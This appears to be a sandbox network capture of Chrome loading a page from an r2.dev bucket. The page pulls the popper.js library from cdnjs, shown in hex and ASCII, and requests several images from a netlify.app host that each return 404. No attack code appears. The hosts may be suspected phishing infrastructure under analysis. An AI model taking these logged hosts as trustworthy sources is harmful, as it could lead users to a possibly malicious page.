2024-09-29 00:27:31 UTC	649	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:31 UTC	926	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:27:31 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 869880 Expires: Fri, 19 Sep 2025 00:27:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oKNeaaJh07gbTVCnbjgW1WPRmSwFn1ncY1wWHrxkhedXWB9EouiyR9GMuvMEmkkksRHPs4ulJJjkrruqkiAcUnSg%2FqsWf6vGzmwO9pVM1E8Wn1vVgTWw1TcvTo3lNZ3kDWEiqp%2Bo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ca7d9125ab28c42-EWR
2024-09-29 00:27:31 UTC	443	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-09-29 00:27:31 UTC	1369	IN	Data Raw: 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 3b 7d 76 61 72 20 69 3d 74 28 65 29 2c 72 3d 69 2e 6f 76 Data Ascii: utedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.ov
2024-09-29 00:27:31 UTC	1369	IN	Data Raw: 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b 27 57 69 64 74 68 27 5d 2c 31 30 29 2b 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 Data Ascii: ==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFloat(e['b
2024-09-29 00:27:31 UTC	1369	IN	Data Raw: 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e 63 6f 6e 74 61 69 6e 73 28 64 29 3a 6f 3d 3d 3d 64 26 26 27 42 4f 44 59 27 21 3d 3d Data Ascii: -m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&&'BODY'!==
2024-09-29 00:27:31 UTC	1369	IN	Data Raw: 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d 65 2e 68 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 3e 3d 6f 2e 63 6c 69 65 6e 74 57 Data Ascii: h,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>=o.clientW
2024-09-29 00:27:31 UTC	1369	IN	Data Raw: 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 69 73 2c 73 74 79 6c 65 73 3a 7b 7d 2c 61 72 72 6f 77 53 74 79 6c 65 73 3a 7b 7d 2c Data Ascii: recated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{},
2024-09-29 00:27:31 UTC	1369	IN	Data Raw: 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 72 7c 7c 48 28 6e 28 70 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 74 2c 6f 2c Data Ascii: opper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r\|\|H(n(p.parentNode),t,o,
2024-09-29 00:27:31 UTC	1369	IN	Data Raw: 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e 64 27 3d 3d 3d 65 3f 27 73 74 61 72 74 27 3a 27 73 74 61 72 74 27 3d 3d 3d 65 3f 27 Data Ascii: (e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start':'start'===e?'
2024-09-29 00:27:31 UTC	1369	IN	Data Raw: 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 6f 2c 69 3d 74 2e 6f 66 66 73 65 74 2c 6e 3d 65 2e 70 6c 61 63 65 Data Ascii: -'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.offset,n=e.place
2024-09-29 00:27:31 UTC	1369	IN	Data Raw: 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 Data Ascii: t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.hasOwnPropert

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49719	35.156.224.161	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:31 UTC	619	OUT	GET /icon.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:32 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:27:32 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XJSTAP46S4T6V98142QBZR Content-Length: 50 Connection: close
2024-09-29 00:27:32 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 4a 53 54 41 50 34 36 53 34 54 36 56 39 38 31 34 32 51 42 5a 52 Data Ascii: Not Found - Request ID: 01J8XJSTAP46S4T6V98142QBZR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	35.156.224.161	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:31 UTC	619	OUT	GET /logo.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:32 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:27:32 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XJSTAPD4K5ACW9MHP4ACTJ Content-Length: 50 Connection: close
2024-09-29 00:27:32 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 4a 53 54 41 50 44 34 4b 35 41 43 57 39 4d 48 50 34 41 43 54 4a Data Ascii: Not Found - Request ID: 01J8XJSTAPD4K5ACW9MHP4ACTJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49724	35.156.224.161	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:33 UTC	622	OUT	GET /confirm.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:33 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:27:33 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XJSW137Z0A0J3D3EBQZHY6 Content-Length: 50 Connection: close
2024-09-29 00:27:33 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 4a 53 57 31 33 37 5a 30 41 30 4a 33 44 33 45 42 51 5a 48 59 36 Data Ascii: Not Found - Request ID: 01J8XJSW137Z0A0J3D3EBQZHY6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49723	35.156.224.161	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:33 UTC	619	OUT	GET /full.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:33 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:27:33 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XJSW10D7WHBCZTY5PQZZYW Content-Length: 50 Connection: close
2024-09-29 00:27:33 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 4a 53 57 31 30 44 37 57 48 42 43 5a 54 59 35 50 51 5a 5a 59 57 Data Ascii: Not Found - Request ID: 01J8XJSW10D7WHBCZTY5PQZZYW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49726	35.156.224.161	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:33 UTC	624	OUT	GET /eye-close.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:34 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:27:34 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XJSW8HJPVY2GA0Z8VH49HY Content-Length: 50 Connection: close
2024-09-29 00:27:34 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 4a 53 57 38 48 4a 50 56 59 32 47 41 30 5a 38 56 48 34 39 48 59 Data Ascii: Not Found - Request ID: 01J8XJSW8HJPVY2GA0Z8VH49HY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	35.156.224.161	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:33 UTC	619	OUT	GET /tada.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:34 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:27:34 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XJSWEB5JN33FZQ4WSVFWK5 Content-Length: 50 Connection: close
2024-09-29 00:27:34 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 4a 53 57 45 42 35 4a 4e 33 33 46 5a 51 34 57 53 56 46 57 4b 35 Data Ascii: Not Found - Request ID: 01J8XJSWEB5JN33FZQ4WSVFWK5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49728	35.156.224.161	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:34 UTC	619	OUT	GET /icon.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:34 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:27:34 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XJSWS92A3433GMRR2ME0F2 Content-Length: 50 Connection: close
2024-09-29 00:27:34 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 4a 53 57 53 39 32 41 33 34 33 33 47 4d 52 52 32 4d 45 30 46 32 Data Ascii: Not Found - Request ID: 01J8XJSWS92A3433GMRR2ME0F2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49729	185.199.108.153	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
